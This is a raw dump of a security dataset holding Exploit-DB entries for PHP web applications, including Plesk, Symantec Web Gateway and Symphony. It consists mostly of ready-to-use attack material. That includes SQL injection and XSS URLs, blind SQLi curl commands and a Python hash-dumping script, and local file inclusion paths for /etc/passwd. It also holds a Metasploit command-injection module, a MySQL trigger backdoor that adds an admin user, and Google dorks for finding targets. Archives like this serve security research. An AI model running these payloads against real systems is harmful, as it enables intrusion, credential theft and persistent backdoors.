deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27623
Description: SWSoft Confixx 3.1.2 - 'Jahr' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-11
Author: Snake_23

Exploit:
source: https://www.securityfocus.com/bid/17466/info

Confixx is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Confixx 3.1.2 is reported vulnerable. Other versions may be affected as well.

http://www.example.com/allgemein_transfer.php?monat=4&jahr=[XSS]
Exploit-DB #30577
Description: SWSoft Plesk 8.2 - 'login.php3' PLESKSESSID Cookie SQL Injection
Type: webapps
Platform: php
Date: 2007-09-12
Author: Nick I Merritt

Exploit:
source: https://www.securityfocus.com/bid/25646/info

Plesk is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in SQL queries.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Plesk 7.6.1, 8.1.0, 8.1.1, and 8.2.0 for Microsoft Windows are vulnerable; other versions running on different platforms may also be affected. 

1) Delay=5224.3877
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,1,1)=char(97),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

2) Delay=5165.3031
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,2,1)=char(100),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

3) Delay=5158.9512
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,3,1)=char(109),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

4) Delay=5224.0980
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,4,1)=char(105),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

5) Delay=5241.5251
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,5,1)=char(110),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"
Exploit-DB #24405
Description: SWsoft Plesk Reloaded 7.1 - 'Login_name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-08-24
Author: sourvivor

Exploit:
source: https://www.securityfocus.com/bid/11024/info

It is reported that Plesk Reloaded may be affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

This issue was identified in the demo version of Plesk Reloaded 7.1. It is likely that other versions are affected as well. 

http://www.example.com:8443/login_up.php3?login_name="><script>alert(document.cookie)</script><"&[CREDENTIAL_REDACTED]
Exploit-DB #14557
Description: sX-Shop - 'view_image.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-08-05
Author: secret

Exploit:
#############################################################################################################
## sX-Shop  / view_image.php SQL Injection                                          ##
## Author   : secret - mohammed.atta@hotmail.com                                   ##
## Homepage : http://swissfaking.net/                                             ##
## Date     : 05 August, 2010                                                    ##
#############################################################################################################
  ____ ____ _____ ___   ____ ______   ____ ___   ___    _  __
  / __// __// ___// _ \ / __//_  __/  /  _// _ \ / _ |  / |/ /
 _\ \ / _/ / /__ / , _// _/   / /    _/ / / , _// __ | /    /
/___//___/ \___//_/|_|/___/  /_/____/___//_/|_|/_/ |_|/_/|_/ 
                               /___/                          

####################################################
# sX-Shop / view_image.php SQL Injection
####################################################
# Discovered by : secret
# Site          : http://swissfaking.net/
# Dork          : powered by sX-Shop ; inurl:"view_image.php" intext:sX-Shop
# Vendor        : http://www.source-worx.de/
# Version       : *newest version*
# Exploit       : [site]/shop/view_image.php?id=[SQL Injection]
# Tested on     : XP - Linux

e.g. http://www.site.com/shop/view_image.php?id=416+and+1=0+Union+Select(UNEXVISIBLECOLUMN)+2+3
 
########################################################################################

#note : IRAN owns ;-)   - to all iranian Hackers in the world, add me and let's own the world ;)
Exploit-DB #14558
Description: sX-Shop - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-08-05
Author: CoBRa_21

Exploit:
########################################################################################

sX-Shop SQL Injection Vulnerabilities

########################################################################################

Author : CoBRa_21
Author Web Page :http://ipbul.org
Dork : "powered by sX-Shop"
Script Page : http://www.source-worx.de/

########################################################################################
 
Sql Injection :

http://localhost/[path]/index.php?product=_513' (Sql)
http://localhost/[path]/question.php?id=-513 union select version()  (Sql)
http://localhost/[path]/tell_a_friend.php?id=-500 union select version()  (Sql)

########################################################################################
Thanks cyber-warrior.org  &  e-banka.org & AKINCILAR
########################################################################################
Exploit-DB #35647
Description: SyCtel Design - 'menu' Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2011-04-21
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/47526/info

SyCtel Design is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 


http://www.example.com/index.php?menu=../../../proc/self/environ
http://www.example.com/index1.php?menu=../../../etc/passwd
Exploit-DB #18832
Description: Symantec Web Gateway - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-04
Author: B00y@

Exploit:
# Exploit Title: Symantec Web Gateway Cross Site Scripting
# Google Dork: N/A
# Date: 05/02/2012
# Author: B00y@
# Software Link: http://www.symantec.com/
# Version: 5.0
# Tested on: Windows XP
# Browser: IE 8.0 and Firefox 11.0


Symantec Web Gateway is susceptible to cross site scripting when scanning downloaded files due to lack of proper sanitizing of the file length. The affected value is the (l=) parameter that identifies the length of the file been scanned and it fails to validate whenever the values are string or integer taking both of them.

This vulnerability was tested with Symantec Web Gateway fully updated to the last version, older versions may be affected as well.


Examples:

l=283883'<img src="myimage.jpg">

l=<img src="myimage.jpg">

POC:

http://10.0.0.2/spywall/timer.php?d=4099&l=22665'<img src="myimage.jpg">&profile=40

Vendor Contacted: March 09, 2012
Vendor Responded: Releasing update May 11, 2012
Current Status: Not Fixed.
Exploit-DB #19065
Description: Symantec Web Gateway 5.0.2.8 - 'ipchange.php' Command Injection (Metasploit)
Type: webapps
Platform: php
Date: 2012-06-12
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection",
			'Description'    => %q{
					This module exploits a command injection vulnerability found in Symantec Web
				Gateway's HTTP service due to the insecure usage of the exec() function. This module
				abuses the spywall/ipchange.php file to execute arbitrary OS commands without
				authentication.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Tenable Network Security', # Vulnerability Discovery
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-0297' ],
					[ 'BID', '53444' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-090' ],
					[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
				],
			'Payload'        =>
				{
					'BadChars' => "\x00\x0d\x0a\x26",
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl',
						}
				},
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					['Symantec Web Gateway 5.0.2.8', {}],
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 17 2012",
			'DefaultTarget'  => 0))
	end


	def check
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => '/spywall/login.php'
		})

		if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'

		peer = "#{rhost}:#{rport}"

		post_data = "subnet="
		post_data << "\";" + payload.raw + ";#"

		print_status("#{peer} - Sending Command injection")
		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{uri}spywall/ipchange.php",
			'data'   => post_data
		})

		# If the server doesn't return the default redirection, probably
		# something is wrong
		if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/
			print_error("#{peer} - Probably command not executed, aborting!")
			return
		end

	end


end
Exploit-DB #20123
Description: Symantec Web Gateway 5.0.3.18 - 'deptUploads_data.php?groupid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-07-30
Author: Kc57

Exploit:
#!/usr/bin/python
# @_Kc57
# Blind SQLi POC
# Dumps out the first available hash in the users table of spywall_db

import urllib
import time
from time import sleep

timing='2.5'
checks = 0

def check_char(i, pos):
	global timimg
	global checks
	checks += 1
	url = 'https://192.168.200.132/spywall/includes/deptUploads_data.php?groupid=1 union select 1,2, IF (%s=conv(mid((select password from users),%s,1),16,10),SLEEP(%s),null);--' % (i,pos,timing)
	start = time.time()
	urllib.urlopen(url)
	end = time.time()
	howlong = end-start
	return howlong

def check_pos(pos):

	for m in range(0,16):
		output = check_char(m, pos)
		print "[*] Character %s - Took %s seconds" % (hex(m)[2:],output)
		if output > 2:
			return hex(m)[2:]
			

md5 = ''
start = time.time()
for y in range(1,33):
	print "Checking position %s" % (y)
	md5 += check_pos(y)
	print md5
	end = time.time()
	howlong = end-start

print "1st hash:%s" % (md5)
print "Found in %s queries" % (checks)
print "Found in %s" %(howlong)
Exploit-DB #20044
Description: Symantec Web Gateway 5.0.3.18 - Blind SQL Injection Backdoor via MySQL Triggers
Type: webapps
Platform: php
Date: 2012-07-23
Author: muts

Exploit:
######################################################################################
# Exploit Title: Symantec Web Gateway 5.0.3.18 Blind SQLi Backdoor via MySQL Triggers
# Date: Jul 23 2012
# Author: muts
# Version: Symantec Web Gateway 5.0.3.18
# Vendor URL: http://www.symantec.com
#
# Timeline:
#
# 12 Jun 2012: Vulnerability reported to CERT
# 22 Jun 2012: Response received from CERT with disclosure date set to 20 Jul 2012
# 26 Jun 2012: Email received from Symantec for additional information
# 26 Jun 2012: Additional proofs of concept sent to Symantec
# 06 Jul 2012: Update received from Symantec with intent to fix
# 20 Jul 2012: Symantec issued patch: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00
# 23 Jul 2012: Public Disclosure
#
######################################################################################


Accessing the following URLs will create a new trigger that will create a user account on the victim database:

https://server/spywall/ldap_latest.php?ip=1 union select 'TYPE=TRIGGERNAME' into outfile '/var/lib/mysql/spywall_db/ins_trig.TRN' LINES TERMINATED BY '\ntrigger_table=eventlog\n';--

https://server/spywall/ldap_latest.php?ip=1 union select 'TYPE=TRIGGERS' into outfile '/var/lib/mysql/spywall_db/eventlog.TRG' LINES TERMINATED BY '\ntriggers=\'CREATE DEFINER=`shadm`@`localhost` trigger ins_trig after insert on eventlog\\nfor each row\\nbegin\\nINSERT INTO users VALUES("muts","21232f297a57a5a743894a0e4a801fc3","NULL","4773","2","3","N/A","0","0","0","","hacker@offsec.com","[PII_REDACTED]","0","0","0");\\nend\'\nsql_modes=0\ndefiners=\'shadm@localhost\'\nclient_cs_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedish_ci\'\n';--

With the MySQL trigger in place, an authenticated user can initiate a reboot of the remote system by accessing the following URL. When a user logs back in to the application, the trigger will be activated and the new user will be added to the system.

https://server/spywall/scheduledReboot.php
Exploit-DB #18560
Description: Symfony2 - Local File Disclosure
Type: webapps
Platform: php
Date: 2012-03-05
Author: Sense of Security

Exploit:
Sense of Security - Security Advisory - SOS-12-002

Release Date.                 05-Mar-2012
Last Update.                 -
Vendor Notification Date.       24-Feb-2012
Product.                        Symfony2
Platform.                       PHP
Affected versions.              2.0.x - 2.0.10
Severity Rating.                Medium
Impact.                         Exposure of sensitive information
Attack Vector.                  Remote without authentication
Solution Status.                Vendor patch / Upgrade to 2.0.11
CVE reference.                  CVE - not yet assigned

Details.
The XMLEncoder component of Symfony 2.0.x fails to disable external
entities when parsing XML. In the Symfony2 framework the XML class
may be used to deserialize objects or as part of a client/server
API. By using external entities it is possible to include arbitrary
files from the file system. Any application written in Symfony2
that parses user supplied XML is affected.

Proof of Concept.
$serializer = new Serializer(array(), array(
    'xml' => new \Symfony\Component\Serializer\Encoder\XmlEncoder()
));

$x = $serializer->decode('<?xml version="1.0"?><!DOCTYPE scan
[<!ENTITY test SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/passwd">]><scan>&test;</scan>',
'xml');

var_dump($x);

// $x will now contain a copy of /etc/passwd base64 encoded.

Solution.
Upgrade to Symfony 2.0.11 or apply the vendor provided patch.

Discovered by.
Phil Taylor from Sense of Security Labs.

About us.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations.

Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-12-002.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php
Exploit-DB #24389
Description: Sympa 4.x - New List HTML Injection
Type: webapps
Platform: php
Date: 2004-08-21
Author: Jose Antonio

Exploit:
source: https://www.securityfocus.com/bid/10992/info

An HTML injection vulnerability is reported in Sympa. The problem occurs due to a failure of the application to properly sanitize user-supplied input data.

Unsuspecting users viewing the affected page will have attacker-supplied malicious code interpreted by their browser in the security context of the website hosting Sympa.

Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

Versions 4.1, and all 4.1.x releases are reported vulnerable to this issue. 

Whatever_you_want<script>alert("Your cookie is " + document.cookie)</script>
Exploit-DB #38417
Description: Symphony - 'sort' SQL Injection
Type: webapps
Platform: php
Date: 2013-04-03
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/58843/info

Symphony is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Symphony 2.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/symphony/system/authors/?order=asc&sort=id%20INTO%20OUTFILE%20%27/var/www/file.txt%27%20--%20
Exploit-DB #14968
Description: symphony 2.0.7 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-09-10
Author: JosS

Exploit:
Symphony 2.0.7 Multiple Vulnerabilities
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS
 
contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/
 
- download: http://downloads.symphony-cms.com/symphony-package/36030/symphony-2.0.7.zip
 
- CMS:
 
 XSLT-powered open source content management system.

~ [SQL]

 This vulnerability affects /symphony-2.0.7/about/.

 The POST variable send-email[recipient] is vulnerable. 
    send-email[recipient]='

fields%5Bname%5D=[PII_REDACTED]email@address.tst&fields%5Bemail%5D=[PII_REDACTED]email@address.tst&fields%5Bsubject%5D=General%20Enquiry&fields%5Bmessage%5D=[PII_REDACTED]email@address.tst&send-email%5Brecipient%5D='&send-email%5Bsender-email%5D=fields%5Bemail%5D&send-email%5Bsender-name%5D=fields%5Bname%5D&send-email%5Bsubject%5D=fields%5Bsubject%5D&send-email%5Bbody%5D=fields%5Bmessage%5D%2Cfields%5Bsubject%5D%2Cfields%5Bemail%5D%2Cfields%5Bname%5D&action%5Bsave-message%5D=Send

~ [XSS]

 This vulnerability affects /symphony-2.0.7/articles/a-primer-to-symphony-2s-default-theme/.

 The POST variable fields[website] is vulnerable.
    fields[Bwebsite]=javascript:alert('JosS')

fields%5Bauthor%5D=[PII_REDACTED]email@address.tst&fields%5Bemail%5D=[PII_REDACTED]email@address.tst&fields%5Bwebsite%5D=javascript:alert[PII_REDACTED]45)&fields%5Bcomment%5D=[PII_REDACTED]email@address.tst&fields%5Barticle%5D=3&action%5Bsave-comment%5D=Post%20Comment

~ [Cookie Manipulation]

 This vulnerability affects /symphony-2.0.7/about/.

 The POST variable send-email[recipient] is vulnerable.
    send-email%5Brecipient%5D=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>

fields%5Bname%5D=[PII_REDACTED]email@address.tst&fields%5Bemail%5D=[PII_REDACTED]email@address.tst&fields%5Bsubject%5D=General%20Enquiry&fields%5Bmessage%5D=[PII_REDACTED]email@address.tst&send-email%5Brecipient%5D=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>&send-email%5Bsender-email%5D=fields%5Bemail%5D&send-email%5Bsender-name%5D=fields%5Bname%5D&send-email%5Bsubject%5D=fields%5Bsubject%5D&send-email%5Bbody%5D=fields%5Bmessage%5D%2Cfields%5Bsubject%5D%2Cfields%5Bemail%5D%2Cfields%5Bname%5D&action%5Bsave-message%5D=Send


------------
Hack0wn Team
By: JosS
------------

__h0__
Exploit-DB #36281
Description: Symphony 2.2.3 - '/symphony/publish/comments?filter' SQL Injection
Type: webapps
Platform: php
Date: 2011-11-01
Author: Mesut Timur

Exploit:
source: https://www.securityfocus.com/bid/50470/info

Symphony is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Symphony versions prior to 2.2.4 are vulnerable. 

http://example.com/symphony/publish/comments/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+'
Exploit-DB #36280
Description: Symphony 2.2.3 - '/symphony/publish/images?filter' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-01
Author: Mesut Timur

Exploit:
source: https://www.securityfocus.com/bid/50470/info

Symphony is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Symphony versions prior to 2.2.4 are vulnerable. 

http://example.com/symphony/publish/images/?filter='"--></style></script><script>alert(1)</script>
Exploit-DB #39136
Description: Symphony 2.2.4 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-03-24
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/66536/info

Symphony is prone to a cross-site request-forgery vulnerability.

An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

Symphony version 2.3.1 and prior are vulnerable. 

<img src="http://www.example.com/symphony/system/authors/?order=asc&sort=id%20INTO%20OUTFILE%20%27/var/www/file.txt%27%20--%20">